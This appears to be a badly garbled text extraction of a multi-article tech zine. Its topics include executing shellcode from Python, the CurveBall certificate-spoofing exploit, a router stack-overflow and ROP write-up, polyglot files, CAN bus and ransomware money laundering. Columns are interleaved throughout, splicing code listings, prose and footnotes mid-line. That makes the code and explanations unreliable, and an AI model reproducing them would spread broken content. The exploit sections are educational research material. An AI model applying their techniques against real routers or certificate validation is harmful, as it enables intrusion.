Tech Enthusiasts' Zine Insight
Tech Enthusiasts' Zine Insight
Human Shader 12
Why You Should Get An ATARI ST In 2024! 13
smol: the Shoddy Minsize-Oriented Linker 14
function-calling
6 https://arxiv.org/abs/2212.14024
7 https://github.com/stanfordnlp/dspy 8 https://github.com/jmaczan/text-to-ml
n
ed o n from ctypes import *
Test .11.6 o Low-level route
3 n
P y thon 23.10 o # MOV EAX, 42; RET High(ish)-level route
C ntu shellcode = b'\xb8\x2a\0\0\0\xc3'
Ubu x86-64
Allocate readable /
NULL = 0 import mmap writable / executable
PROT_READ = 1 exec_mem = mmap.mmap( memory.
PROT_WRITE = 2 -1, len(shellcode),
PROT_EXEC = 4 flags=mmap.MAP_PRIVATE |
MAP_ANON = 0x20 mmap.MAP_ANONYMOUS,
MAP_PRIVATE = 2 prot=mmap.PROT_WRITE |
mmap.PROT_READ |
libc = CDLL("libc.so.6") mmap.PROT_EXEC)
libc.mmap.argtypes = [
c_size_t, c_size_t, c_int,
c_int, c_int, c_size_t ]
libc.mmap.restype = c_size_t Occasionally, you might feel an
addr = libc.mmap( inexplicable urge to execute x86-64
NULL, 4096,
shellcode directly in Python.
PROT_READ|PROT_WRITE|PROT_EXEC,
What is that? You never do?
MAP_ANON|MAP_PRIVATE,
-1, 0) Well, here are two(ish) ways
to do it anyway ;)
You can choose!
libc.memcpy.argtypes = [
c_size_t, c_void_p, c_size_t
]
libc.memcpy(addr, shellcode_tmp, All th
is
len(shellcode_tmp)) thoug is likely G
other h it m NU/L
OSes ight wor inux only,
with k
import os mino on some
r cha
with open(f"/proc/{os.getpid()}/mem", nges.
"r+b") as f:
f.seek(addr)
f.write(shellcode)
Make a function
shellcode_t = CFUNCTYPE(c_int)
pointer type.
Make a function
func_ptr = shellcode_t(addr) exec_mem_as_var = ( pointer pointing to the
c_byte.from_buffer(exec_mem)) shellcode area.
func_ptr = shellcode_t(
addressof(exec_mem_as_var))
https://twitter.com/gynvael
https://infosec.exchange/@gynvael
Gynvael Coldwind, Łukasz Olejnik
6 https://twitter.com/lukOlejnik CC BY 4.0
https://mastodon.social/@LukaszOlejnik
Exploring basic cryptography in games Cryptography
Exploring Basic Cryptography in But this is only a taste of what the game offers and
how it hides its messages. To avoid spoilers, I will
Games: mention some of those ways in no particular order,
without delving too deeply into examples.
On the Example of Alice & Smith’s The Black
One of the methods uses the AES encryption
Watchmen1
algorithm with a proverb as the password. There is
also an image attached to the encrypted text that
hides secrets needed to decrypt the message. It is
done masterfully, and it did send me first on a wild
goose chase after the origin of the image. But the way
to go was to just look at it very closely.
1
Official game page:
https://www.blackwatchmen.com/
2
To be decoded on the site the link to is provided by
the game https://www.asciitohex.com/
3
I am not offering the decoded version, to not spoil
the fun for anyone willing to play the game or the
reader who would like to have a crack at the code
themselves. 4
Wikipedia has a lot of information on each of them.
Aga
SAA-ALL 0.0.7 7
Cryptography Generating Identicons from SHA-256 hashes
Well, it’s not bad, but it does not look good either.
We could improve it by defining a common theme
1: GitHub’s identicons that spans through all sections3b . The theme is just a
byte — which then gets normalized — calculated as
OK, but how will it work? — you may ask. Great ques- a XOR of all hash bytes.
tion, the algorithm will calculate SHA-256 from the
user’s identifier; the hash will then be used to gener- def byte_to_color_global_theme(hash, byte):
h = byte >> 4
ate fill colors for SVG shapes. SHA-256 hashes have s = (byte >> 2) & 0x03
32 bytes, which gives us a fair bit of maneuverability. l = byte & 0x03
Before we implement the part that’s usually different xor_bytes = lambda: acc, byte: acc ^ byte
theme = fold(hash, xor_bytes)
for each user (hash collisions do happen), we need to
prepare the part that’s common: SVG structure. norm_theme = normalize(theme, min=0, max=360)
norm_h = normalize(h, min=0, max=120)
norm_s = normalize(s, min=20, max=100)
# SVG scaffolding norm_l = normalize(l, min=40, max=90)
GitHub did squares, so we’re going to be original return f"hsl({norm_theme + norm_h}, {norm_s}%,\
{norm_l}%)"
and do circles. Let’s start by dividing a circle into
segments; it gives us a nice canvas to work with.
SVG has some tags for constructing basic shapes Now it looks too similar for my taste. However, the
— like circles, rectangles, or ellipses — frankly, theme seems to be a promising lead. Let’s add one
pizza slices are not considered ”simple”, so there’s no more level: ring themes. Similar to global themes,
<pizza-slice> to help us here; we need to default they are calculated as a XOR of all hash bytes for the
current annulus. Let’s implement it and see how it
to <path> .
looks3c .
Starting simple, we can create four circle segments, def byte_to_color_global_and_ring_themes(hash, byte):
h = byte >> 4
which — joined together — give us an illusion of di- s = (byte >> 2) & 0x03
viding one circle into fours2a . Next, we need to find l = byte & 0x03
the middle points of the four arches2b to divide fours xor_bytes = lambda: acc, byte: acc ^ byte
theme = fold(hash, xor_bytes)
into eights2c , and finally repeat the process two more ring = fold(get_ring_bytes(hash), xor_bytes)
times, but this time with smaller radii2d .
norm_theme = normalize(theme, min=0, max=360)
norm_ring = normalize(ring, min=0, max=120)
norm_h = normalize(h, min=0, max=30)
norm_s = normalize(s, min=20, max=100)
norm_l = normalize(l, min=40, max=90)
return f"hsl({norm_theme + norm_ring + norm_h},\
(2a) (2b) (2c) (2d) (2e)
{norm_s}%, {norm_l}%)"
2: SVG scaffolding
Kamil Rusin
https://madebyme.today/
8 SAA-ALL 0.0.7
Chaos to Control Art
Mark G-hamm Artist
www.markgrahamartist.com
SAA-POOL 0.0.7 9
Cryptography Quantum Random Number Generation
are pseudo-random number generators. But could there self . _circuit . measure (0 , 0) 7
be a way to obtain numbers that are truly random? self . backend = Aer . get_backend ( ’ 8
qasm _simulat or ’)
9
def get_ran dom_bit ( self ) -> int :
2 Quantum realm job = execute ( self . _circuit , self . backend ,
10
11
shots =1)
The answer is yes, and one (natural1 ) way to do it is counts = job . result () . get_counts () 12
with quantum mechanics, which is inherently random. return list ( counts . keys () ) [0] 13
Therein a qubit (quantum bit) can be found in a su- And now, we can run the following code to obtain a nat-
perposition state.2 Operationally, this means that the urally random bit.
qubit is both 0 and 1 at the same time. However, due to
the state collapse – one of the most basic rules of quan- qrng : QRNG = QRNG () 1
random_bit : int = qrng . ge t_rando m_bit () 2
tum mechanics – we can measure only one of these val-
ues simultaneously, and the result of such measurement There are, however, a few more, practical things that we
is probabilistic. While in general it can be more probable would like to address in the last section of the page.
to obtain one or the other, there’s a way to equalize it.
Let us consider a specific quantum state3 |R⟩:
1
|R⟩ := H |0⟩ = √ (|0⟩ + |1⟩), (1)
4 Final words
2
An observant reader might notice that we aren’t using a
where H is an operator called the Hadamard gate. The
quantum device in the example, but rather a simulator.
rules of quantum mechanics state that there’s equal prob-
This means that the code we present actually still gen-
ability (equal to 0.5) of obtaining |0⟩ and |1⟩ (that can be
erates a pseudo-random bit in a very elaborate way. To
interpreted as 0 and 1) when performing a measurement
change that, one would have to assign a real quantum
on |R⟩. This means that, in the end, we are left with a
device handle to the backend object of the QRNG class
naturally random bit.
instance.
A more observant reader might also notice the shots pa-
3 (Q)RNG rameter – which describes the number of repetitions of
the circuit executions – and be tempted to increase it in
In this work, we will use the qiskit library,4 with which order to get multiple random bits in one run. This won’t
we can use the IBM quantum machines. We prepare a work, since the order of the results is not known to us
class that will create |R⟩ state and measure it on a quan- (only their counts5 ).
tum device or a simulator thereof. The code is presented A commented version of the code with a Jupyter note-
on the listing below: book can be found on my GitHub.
1 By natural, I mean to highlight the fact that the nature of quantum mechanics is probabilistic. The bit that we’re about to generate
ments, we’re interested in the statistics rather than separate experiments results.
Vuln-Based Intro to don’t simply add the 𝑥 and 𝑦 values, but follow some
slightly more complicated calculation3 . It can be shown
Elliptic Curves that addition is “nice”: 𝐴 + 𝐵 always equals 𝐵 + 𝐴, and
“𝐴 + 𝐵 + 𝐶” is well defined (no need for parentheses)4 .
Point multiplication. We denote 2𝐴 = 𝐴 + 𝐴, 3𝐴 =
This article will take you from zero to one in elliptic- 𝐴 + 𝐴 + 𝐴, and generally 𝑘𝐴 is 𝐴 added to itself 𝑘 times.
curve cryptography by studying a critical vulnerability It can be computed efficiently, using 𝑂(log 𝑘) additions,
that was found in EC code. We’ll focus on the math and by reading the binary digits of 𝑘. To understand how, try
won’t assume prior knowledge. Let’s GOOOO! to generalize this example: 20𝐴 = 2 ⋅ 2 ⋅ ((2 ⋅ 2𝐴) + 𝐴).
This is called the double-and-add algorithm.
The vulnerability Order of the curve. It turns out there’s a number 𝑛
CurveBall (CVE-2020-0601) was a critical vulnerability called the order of the curve, such that adding 𝑛𝐴 always
in Windows, disclosed to Microsoft by the NSA. It al- brings you back to where you started. Therefore, in a
lowed attackers to easily spoof X.509 root certificates; point multiplication 𝑘𝐴, the 𝑘 is actually “mod 𝑛”.
basically, to craft malicious certificates that would be Cryptography time! Creating a key pair. In prepara-
treated by Windows as trusted root certs! tion, decide on an elliptic curve, and some “base point”
In Windows, root certificate validation uses a cache, 𝐺 on it. These are “global constants”. To start, choose
so that certs don’t have to be validated twice. For what- a large random number, 𝑑 (say, 256-bit). Now, compute
ever reason, the cache only remembers the root cert’s the point 𝑄 = 𝑑𝐺 (remember it can be done in 𝑂(log 𝑑)).
public key, and not the entire cert1 . That’s it! Your private key is the number 𝑑 and your
The bug was that only the “public key” field of public key is the point 𝑄. This pair can now be used
the cert was cached, without considering another key- in some of the general public-key cryptography meth-
related field – something called “optional algorithm pa- ods, such as Diffie-Hellman or DSA. It is hard to break,
rameters”. This means that we could take some trusted because calculating 𝑑 given 𝑄 is a very hard problem5 .
root cert, change its “parameters” field, and it would
still be identified as a trusted root. But we can’t sign Putting it all together - the exploit
with it without having its private key. Could we change Where were we? Oh, yeah, the “parameters” field for
the “parameters” field in such a way that Windows ECDSA certs. By RFC 3279, it has this format (ASN.1):
would interpret the public key differently, allowing us EcpkParameters ::= CHOICE {
to sign even without knowing the original private key? ecParameters ECParameters ,
For plain old RSA certs, RFC 3279 says that this “pa- namedCurve OBJECT IDENTIFIER ,
rameters” field is simply NULL. Not very interesting, as implicitlyCA NULL }
it can’t be manipulated. However, among the Windows
Note that this is a CHOICE, i.e. a union, not a struct. In
trusted roots, many are not RSA but ECDSA (what-
the real world, you’ll always see namedCurve, specifying
ever that means), and for those, “parameters” specifies
the ID of a standardized curve and base point (usually
which elliptic curve they work with. It seems like the
NIST). But changing it to ecParameters lets you write
time has come to say something about...
down custom parameters: Your curve’s 𝑎, 𝑏, 𝑝, and the
Elliptic curves coordinates of your base point 𝐺.
Remember, the vuln doesn’t let us change the public
Elliptic curves are equations that look like this:
key (the point 𝑄); we can only reinterpret 𝑄 as a point
𝑦2 ≡ 𝑥3 + 𝑎𝑥 + 𝑏 (mod 𝑝) on a different curve, or with a different base point, 𝐺′ .
If we can make it so 𝑄 = 𝑑′ 𝐺′ and we know 𝑑′ , we win!
where 𝑎, 𝑏, and 𝑝 are constants, 𝑝 being a large prime2 . Basic exploit. Take a trusted ECDSA root cert, and
We call some pair of integers (𝑥, 𝑦) a point on the curve change the base point to equal the public key (𝐺′ = 𝑄).
′
if the equation is true when plugging 𝑥 and 𝑦 into it Relative to the moved base point 𝐺 , we now know the
′ ′ ′
(note the “mod 𝑝” operates on both sides). For exam- private key! It is just 1, because if 𝑑 = 1, then 𝑄 = 𝑑 𝐺 .
ple, 𝐴 = (2, 6) is a point on the elliptic curve 𝑦2 ≡ Advanced exploit. Generate your own private key
3 𝑑 ′ and define 𝐺′ = (𝑑′ )−1 𝑄 where the inverse is done
𝑥 + 𝑥 + 9 (mod 17); check it for yourself! Note we use
CAPITAL LETTERS to denote points (pairs of numbers modulo 𝑛, the order of the curve. Relative to the moved
′ ′ ′
that satisfy the equation), and lowercase letters to denote base point, now 𝑄 = 𝑑 𝐺 . Bonus: Your 𝑑 is kept secret!
simple numbers.
Point addition. There is a basic algorithm that re- Exercises for the diligent reader
ceives two points 𝐴, 𝐵 on an elliptic curve and outputs 1. Write the math part of the exploit in Python.
a third point. This algorithm is called point addition, 2. Study and exploit CVE-2022-0778 (in OpenSSL).
3 The calculation comes from a geometric manipulation of the two
and the output point is denoted by 𝐴 + 𝐵; however, we
points and the curve. Our space is bit warped because of the “mod 𝑝”,
1 This is technically good enough because the main point of X.509 but it still manages to have some geometry.
certificates is to certify public keys, but it’s still weird. 4 To complete the definition, we also need “point negation” and a
2 There are other forms of elliptic curves, but let’s ignore them and “point at infinity”. Go on and read up about those!
focus on this, one of the most prevalent forms used in cryptography. 5 Known as ECDLP: The elliptic curve discrete logarithm problem.
Yoni Rozenshein
https://twitter.com/1yoni
SAA-TIP 0.0.7 11
Demoscene Human Shader
The math sheet I handed out to the volunteers was // remove last n decimal digits from x
int shift( int x, int n );
in the format of an arithmetic school exercise, but
this is the equivalent code that they actually “run”:
The demoscene hosts many sorts of competitions ing it glibc-specific. If you look at the glibc source
and sub-scenes, one of them being 4k intro. In (include/link.h, to be precise), you’ll notice the
such a competition (or compo), entries are expected link map structure actually has a lot more fields
to give the audience an audiovisual demonstration than just the standard SysV edition. This includes
of several minutes, while the executable may only a symbol hash table that glibc itself uses to speed
be at most 4096 bytes in size. This is typically up symbol resolution (l gnu buckets etc.). We can
achieved by generating visuals purely with shaders, simply reuse this data so we don’t have to calculate
and using a software synthesizer for music playback. hashes from strings at all. This cuts away both code
However, these methods only get you so far. The needed to calculate the hashes and code needed to
resulting binary must then be compressed using a parse all those ELF tables. Though, there’s a slight
special-purpose executable compressor or packer. problem here: l info tends to change size every
Such a tool needs to perform two tasks: optimizing few glibc releases. This can be worked around by
linking (removing file format overhead) and com- scanning for l entry and taking an offset.
pression. This article describes the tricks used in The second trick relies on a fun implementation
the optimizing linker smol. quirk of dynamically linked executables: the kernel
ELF files are complex beasts: they come with an loads the binary and ld.so into the process ad-
ELF header which points to both the section head- dress space, and then jumps to the entrypoint not
ers and the program headers (phdrs). The former of the executable, but of ld.so. The latter then does
is only used during ‘compile-time’ linking, while all its loading magic, before jumping to the entry-
phdrs contain all information for the runtime. point of the actual program. This last bit of code
To discover the external functions imported by (RTLD START in sysdeps/x86 64/dl-machine.h)
a dynamically linked binary1 , the runtime linker actually leaves a pointer to the link map on the
(ld.so) parses the phdrs in search for one marked stack for us to use. We don’t actually have to
PT DYNAMIC, which is the entry for the dynamic ta- bother with phdrs and dynamic tables and r debug!
ble. This table contains a number of type-value Shader code is just ASCII text, so if an intro has a
pairs, including pointers to the symbol table, global lot of it, it might actually be beneficial to have more
offset table (GOT), procedure linkage table (PLT), ASCII strings in the binary and less x86, to make
relocation table, and so on. So, there is a lot of stuff things compress better. This is possible by using
stored in an ELF file, and it’s best to bypass it all. yet another implementation quirk: at the very be-
How? The dynamic table has one ‘non- ginning of the GOT (in .bss, thus never in the file
documented’ entry, DT DEBUG. While my system’s on disk), ld.so always places a pointer to a magic
elf.h include header describes it as “For debug- dl fixup function. This function will automagi-
ging; unspecified”, it is more or less always filled by cally a) resolve a function from an external library,
ld.so with a pointer to an r debug struct (see your b) poke the address of the resolved function into
system’s link.h file). This is the case on Linux, the GOT, and c) call the function. We can use this
many if not all BSDs, etc., and is probably an ‘un- to obtain dlsym, and using that, any other symbol,
official’ part of the SysV ABI. This weird detail is using basically no code nor on-disk ELF headers.
used by debuggers to figure out how dynamic li- If you want to try smol, go to
braries are linked together at runtime. e.g. https://gitlab.com/PoroCYon/
What’s special about this r debug struct? Well, linux-4k-intro-template (which provies a
it has a pointer to a very important struct called full example together with compression), and enter
link map, a doubly linked list of all loaded shared the 4k intro compo at a demoparty near you!
libraries2 . Its l ld field lets us search through the
symbol tables of all these libraries in the link map.
This is what another tool, dnload, uses: it man-
ually walks over the symbol tables of all imported
DSOs, and fetches the addresses of all needed ex-
ternal functions by comparing their names with a
stored 32-bit hash. A small assembly stub inside
the program does all these tasks. This works quite
well, see e.g. many intros by Faemiyah. Sadly, this page contains too much information
We can optimize the previous idea of walking to include source code listings and links to further
link map a great deal more, at the cost of mak- information. Instead, all this information is col-
1 We need dynamic linking because the GPU drivers
lected at https://gist.github.com/PoroCYon/
(Mesa) largely live in userspace, not in the kernel. e3bb296ea1b1800fb813bfb38933df0b or https:
2 Fun fact! dlopen also just returns a link map. //pcy.be/smol-extref.html.
@[email protected] PoroCYon
https://github.com/PoroCYon
14 https://gitlab.com/PoroCYon CC BY-SA 4.0
A couple of obscure executable formats File Formats
minexew
SAA-TIP 0.0.7 15
EW
N E
RELE AS o n 4 . 0
Ve r s i
The Coincidence So, our first restriction is that another field’s header must
Commonly, formats are told apart by some magic value. come after these 114 bytes. Then another one after that field
Apple’s bplist format’s magic is bplistXX (XX are 2 digits, and so on, until we reach the end of the file.
usually 00) at the beginning of the file/blob. A LengthValue may contain a byte array or a protobuf payload.
Google’s protobuf does not have a magic. It’s a TLV format, We’ll use these facts in the “root” protobuf construction to
where fields are just encoded one after the other. consume arbitrary blobs that the bplist format forces on us.
Fields in protobuf have a header of 1 or 2 bytes, containing a We’d also use a LengthValue to embed our “real” protobuf
Tag and possibly a Length. Apparently, the first characters of payload.
bplist00 can be decoded as a protobuf field header:
Putting It All Together
• b is read as a protobuf Tag: To sum up our restrictions:
field_number = 0b01100 , wire_type = 0b010 1. The file MUST start with bplist00 .
This means “A LengthValue field with the ID of 12”. 2. The file MUST end with a valid 32-bytes bplist trailer.
Protobuf’s LengthValue wire type is used to store byte 3. The file MUST be a parsable sequence of TLV protobuf
arrays, strings, or sub objects. fields.
• p is read as the varint Length of the LengthValue. 4. The first protobuf field WILL be a 112 bytes LengthValue
p is 0x70 in ASCII, so the length is simply 0x70 = 112. with ID of 12. The second field WILL start at offset 114.
• The rest of the magic plus the next 106 bytes are read as Taking those into account, I introduce this strategy:
the 112 bytes of data. 1. Separately encode a bplist and a protobuf.
2. Shift bplist objects forward, starting at offset 114, to
create a hole of unreferenced bytes. We might start
shifting before 114 if we hit the middle of an object.
3. Write the payload protobuf into the hole, adding a
LengthValue header for it.
The beginning of a bplist file, parsed as a protobuf.
4. After the protobuf payload but still inside the hole, write a
Next, let’s specify the rules of each format so we can 3rd LengthValue header to capture the rest of the bplist
synthesize the rest of the polyglot. (shifted objects, offsets table, and trailer).
Bplist Restrictions This table summarizes the resulting artifact. Assume bplist_x
bplist blobs have the following structure: and protobuf_y are the two blobs we’re trying to merge.
Bytes range Bplist Protobuf interpretation
Magic (8 bytes) interpretation
Objects section 0 ‐ 114 Magic + [2 bytes]
Offsets Table section Several objects. Header of field 12, with
type LengthValue.
Trailer (32 bytes)
[112 bytes]
Notice that there’s no header beyond the magic. Parsers Data of field 12. The
content is irrelevant.
should jump to the trailer where parsing instructions are
114 Unreferenced [2 bytes]
found. ‐ data. Header of field 1, with type
Usually parsing goes like this: 114 + protobuf_y.len LengthValue.
+4
1. Assert magic is in place. [protobuf_y.len bytes]
2. Parse trailer. Data of field 1. The content
3. Parse the offsets table (maps object indexes to offset is protobuf_y.
Shai Shapira
https://twitter.com/theXappy
SAA-TIP 0.0.7 17
Art Headed back
For example: the message driving the airbags would have a higher
Physically, the can bus is just a pair of wires to which every node (in priority than the turning light state.
automotive called Electronic Control Unit) is directly connected. To Now let me remind you something obvious: If we take any two
better understand it, you can imagine the bus as a single wire which numbers and write them in a binary format of same width, reading
is by default pulled up to some voltage level (high state which is them from left to right (MSB to LSB), we will always come to the
called recessive), and any node acts like an electric switch, that can difference between them: position, where the lower number has
short it down to GND (zero-level) state, which is called dominant. zero and the bigger number has one.
Take a look at this scheme, which is not how it actually works, but
helps to understand the principles:
Let’s use those numbers 201 and 205 for the IDs of two CAN frames,
that was started at the exact same point of time by two nodes.
At this point, I hope it’s clear that: At some point, nodes come to the moment when one is transmitting
• If no node is setting a dominant state, the bus remains in a 0 and the other one is transmitting 1.
recessive state 0 is the dominant state, and that state is present on the bus.
• If one or more nodes set a dominant state, the bus remains in a Now here we come to the last rule of can bus arbitration:
dominant state A Node, beside of transmitting its states, also checks the real
When any node sends a message to the bus, it is being done by voltage level on the bus. If the bus state differs from what the
alternately setting the bus to the dominant level and releasing it at a Node is transmitting, it immediately aborts ongoing transmission
specific bitrate. The voltage waveform creates a shape, which is later and waits for another time slot.
interpreted as a communication frame. Frames consists of segments If you think about this, it can occur only when the state transmitted
(i.e. first single bit is a StartOfFrame, next 11 bits are ID, later comes by node is recessive, and the bus is in a dominant state.
Payload etc.). In the given example, at some point, node transmitting the Frame2
loses the arbitration, and stops its frame transmission, waiting for
next time slot. The other node (let’s call it arbitration-winner)
continues sending its message, not even “knowing” that any other
node tried to transmit parallelly.
This is why the ID section in the CAN frame is commonly named as an
“arbitration field”, and makes it possible to avoid collisions/race
conditions, and priorities the messages between each other.
Please also note that the nodes themselves do not have any
Physically, communication frame on a bus is a voltage waveform importance, and can only own messages, that are of different levels
– in fact, it is much longer than presented here of importance.
Wojciech Kochański
https://www.SystemyWbudowane.pl
SAA-ALL 0.0.7 https://www.youtube.com/@SystemyWbudowane 19
Hardware You Wouldn't Gamble on a Router
Or would you? It is at the focal point of the LAN, making it the perfect candidate
for a LAN-gambling-party Blackjack host. Note: Gamble responsibly! ___ __ __ _ __
/ _ ) / /__ _____/ /__ (_) __ _____/ /__
/ _ / / _ ‘/ __/ ’_/ / / _ ‘/ __/ ’_/
Target Router XOR Decoder /____/_/\_ ,_/\__/_/\_\_/ /\_ ,_/\__/_/\_\
|___/
This project started as a general MIPS binaries tend to contain lots of Welcome player 1!
Enter player count ( including yourself )
RE/VR project, focusing on bugs over zeros. Because of the string-based na- > 3
the LAN. Aliexpress always has cheap ture of our overflow, zeros are a no-go Waiting for 2 other players to join ...
embedded goodies with questionable se- as they terminate the string early. Our Game starting !
curity. Sorting the search results for write ROP gadget simply stores the con- As it stands :
‘router ’ by ‘lowest price first’, I ended tents of $s0 at the address in $s1, both - Player 1 has $250
- Player 2 has $250
up with this masterpiece for £11 (flames taken directly from the buffer we send - - Player 3 has $250
not included). so the payload can’t contain zeros. Place your bet player 1...
> 10
Our payload should be small, placing a Player 1 has bet $10
simple XOR decoder at the start should Player 2 is placing their bet
suffice. This runs before the payload, Player 2 has bet $10
iterating over the rest of the payload Player 3 is placing their bet
and XOR’ing. We then wait to let the Player 3 has bet $10
ory area for its stack. The size of this re- Player 2 cards :
Under the hood, it has a Mediatek gion for the HTTP proc thread is 16384 _______
|7 ^
_______
| |3 _ _ |
MT7628KN chip (MIPS architecture), bytes, and during normal operation this | / \ | | ( v ) |
| \ / | | \ / |
a labelled UART, and an SPI EEP- hovers around 40% utilisation. We can | . | | . |
ROM memory chip. The command borrow a chunk of this stack region for |______7| |______3|
line on the UART allowed extraction of our Blackjack payload. Player 3 cards :
_______ _______
the firmware from the EEPROM. Then, Building Blackjack |10 ^ | |A _ _ |
| / \ | | ( v ) |
basefind2 was used to work out the base To get our server running, we have two | \ / | | \ / |
| . | | . |
address, and it was loaded into Ghidra options: create a new thread or hijack |_____10| |______ A |
(no symbols). Its underlying OS is eCos, an existing one. The thread named cpu- Player 3 has blackjack !
and it’s built around an old Realtek load, which can only be activated via the Dealers card :
SDK. shell, is perfect for this. We can hijack _______
|K . |
Finding CVE-2012-5959 this thread by invoking the create thread | /.\ |
By auditing strcpy() calls, I spotted a function with identical addresses, substi- | (_._) |
| | |
simple stack-based buffer overflow in tuting our blackjack server as the thread |______ K |
the SSDP parser in the UPnP library. function. As the cpuload thread is al- Player 1 ’ s move , current hand :
_______ _______
It turns out the ancient SDK uses a ways suspended, the router carries on |Q _ _ | |J ^ |
At the moment, we overwrite the re- spite being compiled on an x86 proces- | \ / | | \ / | | (_._) |
| . | | . | | | |
turn address with garbage that is not sor, so we’ll need to cross-compile. For |______7| |______3| |______8|
mapped into memory, we need to jump this, I used crosstools-ng to construct Player 2 chose to stick
somewhere useful. We could put a shell- a toolchain, allowing me to compile Player 2 final score : 18
code in our uuid buffer and jump to C on x86 into a MIPS binary. The All players done ...
that - but it’s definitely not big enough payload location is set in the linker file The dealer ’ s full hand is :
for a Blackjack server. we give to the compiler, so the code _______
|K .
_______
| |3 . |
Alternatively, we can use ROP (Return- knows where it is. Note: There are | /.\ | | /.\ |
| (_._) | | (_._) |
Oriented-Programming) gadget(s) to also pre-built eCos toolchains available | | | | | |
construct a larger shellcode in memory at https://ecos.sourceware.org/build- |______ K | |______3|
ing gadget, we can write four bytes wher- LAN-Gambling Dealer ’ s current hand :
_______ _______ _______
ever we please (provided it is mapped): With our payload put together, it ends |K . | |3 . | |A . |
| /.\ | | /.\ | | /.\ |
up being around 6000 bytes, so it fits | (_._) | | (_._) | | (_._) |
0 x 8013 be 14: | | | | | | | | |
sw $ s 0 , ($ s 1) ; lw $ ra , 0 xc ($ sp ) ; perfectly into the empty stack space |______ K | |______3| |______ A |
the return address after the gadget runs coded payload which hijacks the cpuload Dealer is bust !
to the address of the stack frame two thread and runs the server function. You won $10!
frames up (each frame is 8 bytes). So, Once the thread is running, players can
we can now build our larger shellcode connect to the server with netcat - once
in memory via multiple requests. all players are in, the game can begin!
Luke M
https://github.com/lr-m
20 SAA-TIP 0.0.7
What ransomware groups are doing with stolen money? History
But what does Dark Web actually mean? Dark Web is a service running over the Onion protocol which runs over the Tor
network. It’s a hidden part of the Internet that provides a high level of anonymity and privacy that may be used for good and bad
reasons. The good one is e.g. escape from a country's censorship and the bad one is the already described market where
criminals are selling and buying illegal services and products.
2024 Crypto Crime Trends: Illicit Activity Down as Scamming and Stolen Funds Fall, But Ransomware and Darknet Markets See Growth
JANUARY 18, 2024 | BY CHAINALYSIS TEAM | Link: https://www.chainalysis.com/blog/2024-crypto-crime-report-introduction/
Dark Web: Crypto may be used to pay for products and services available on the Darknet market. The most often used
cryptocurrencies there are Bitcoin and altcoins, especially privacy cryptocurrencies like Monero or Zcash. Privacy coins are
designed to obfuscate transaction details using techniques such as e.g. ring signatures, stealth addresses in Monero, or
Zero-Knowledge Succinct Non-Interactive Arguments of Knowledge in Zcash. They are also using a private blockchain, not a
public one that Bitcoin uses.
Crypto exchanges: Sometimes, they use exchanges to swap cryptocurrencies to fiats, e.g. USD. They use exchanges without a
KYC process if possible, or use fake documents to pass the KYC process on exchanges that require it. However, this is a risky
approach as exchanges have access to other valuable information about the user such as the bank account where fiats were
transferred or IP address that may be helpful in further investigation.
Peer-to-peer transaction: This is an alternative way to exchange. Cybercriminals may use peer-to-peer transactions to move
stolen funds from one crypto wallet to another individual wallet without any intermediaries. They can also buy cars and other
exclusive resources directly with Bitcoin. An additional way to hide funds is a mixer which splits funds into several separate
crypto wallets.
Katarzyna Brzozowska
https://www.linkedin.com/in/katarinabrzozowska/
SAA-ALL 0.0.7 21
Programming 5 Little Programming Tricks
tick
https://www.t1ck.de
22 SAA-ALL 0.0.7
Past Tense Art
GodLike
https://X.com/godlikepx
SAA-ALL 0.0.7 https://Instagram.com/godlikepx 23
Apparently I didn't understand cPython's INPLACE_ADD and then someone stole it!
Programming
At the end of 2023, I found myself playing the 37C3 Potluck CTF with my team – Dragon Sector. There was a Python
bytecode challenge called "GACHAAAAAtkr" made by quasar from Project Sekai!, and, as I'm a Python bytecode
enthusiast, I decided to solve it. I did just that by implementing a minimal Python bytecode-level VM that
piggybacked on the real cPython runtime (because I couldn't pinpoint the exact cPython version needed, but shhhh).
However this isn't a write-up for that challenge, but rather an article on what I found out when solving it. And
I found out two things:
1. Someone stole my INPLACE_ADD opcode (and the rest of the INPLACE_* ones as well)!
2. Apparently I don't understand how the INPLACE_* opcodes work.
Let's start with the latter, and some context: what's INPLACE_ADD and how does it differ from BINARY_ADD?
As you can see on the right, def add1337binary(): def add1337inplace():
on the bytecode level, there g = g + 1337 (cP g += 1337
yt
seems to be no difference – ho
n
3.
which in all honesty surprised 0 LOAD_FAST 0 (g) 7
by 0 LOAD_FAST 0 (g)
2 LOAD_CONST 1 (1337) te 2 LOAD_CONST 1 (1337)
me! What I mean is that I did co
de
expect the BINARY_ADD to get 4 BINARY_ADD ) 4 INPLACE_ADD
two values from the stack, add 6 STORE_FAST 0 (g) 6 STORE_FAST 0 (g)
them, push the result back on the stack, and then pop the result from the stack to store it somewhere
(STORE_FAST(g)). What I did not expect is INPLACE_ADD behaving the exact same way!
(based on dis module documentation) (based on my flawed in-brain model) (based on dis module documentation)
# BINARY_ADD pseudocode. # Wrong INPLACE_ADD(arg) pseudocode. # Actual INPLACE_ADD
right ← pop() # I.e., what I expected. pseudocode.
left ← pop() right ← pop() right ← pop()
push(left + right) left ← get_name_value(co_names[arg]) left ← pop()
tmp ← left + right push(left + right)
set_name_value(co_names[arg], tmp)
What I expected is that the INPLACE_ADD would work, well, in place. It would get the value of the right hand side,
and the name of the "variable" on the left hand side, so that, if needed, it could replace the object the name refers to,
once the addition is done. If that would be the case, however, the STORE_FAST(g) instruction shown in both listings
wouldn't be needed as it would be incorporated into INPLACE_ADD.
Wait, isn't it obvious that that's not the case, as INPLACE_ADD doesn't take an argument (customarily a name, or rather its index in the co_names
tuple, is passed as an opcode argument) and uses STORE_FAST(g)? Well, the reason I made this harder for myself is that during the CTF and VM
opcode implementation I displayed only the problematic opcodes in the error log, so I didn't see the STORE_FAST(g). As for the lack of argument, I
assumed there's some magical mechanism that keeps tabs on which name's value is on the stack for the left hand side, and initially I implemented it
using such a magical mechanism; of course now I know there is no such a magical mechanism there.
So, why do we have two opcodes – BINARY_ADD and INPLACE_ADD – if there's no difference in the pseudocode?
There's one good reason, but it's just not visible in the pseudocode, nor mentioned in dis module documentation.
And that's whether – respectively – __add__(a, b) or __iadd__(a, b) method is called in the case of objects with
overloaded operators [3]! Yup, that's it.
But if INPLACE_* opcodes are needed, why were they removed?
Well... actually this is another $ docker run -it python:3.10
thing I misunderstood. But it's >>> [x for x in list(__import__("opcode").opmap.keys()) if 'INPLACE' in x]
not that INPLACE_* opcodes [... 'INPLACE_ADD', 'INPLACE_SUBTRACT', 'INPLACE_MULTIPLY', ...]
weren't removed – they were.
$ docker run -it python:3.11
It's just that the BINARY_*
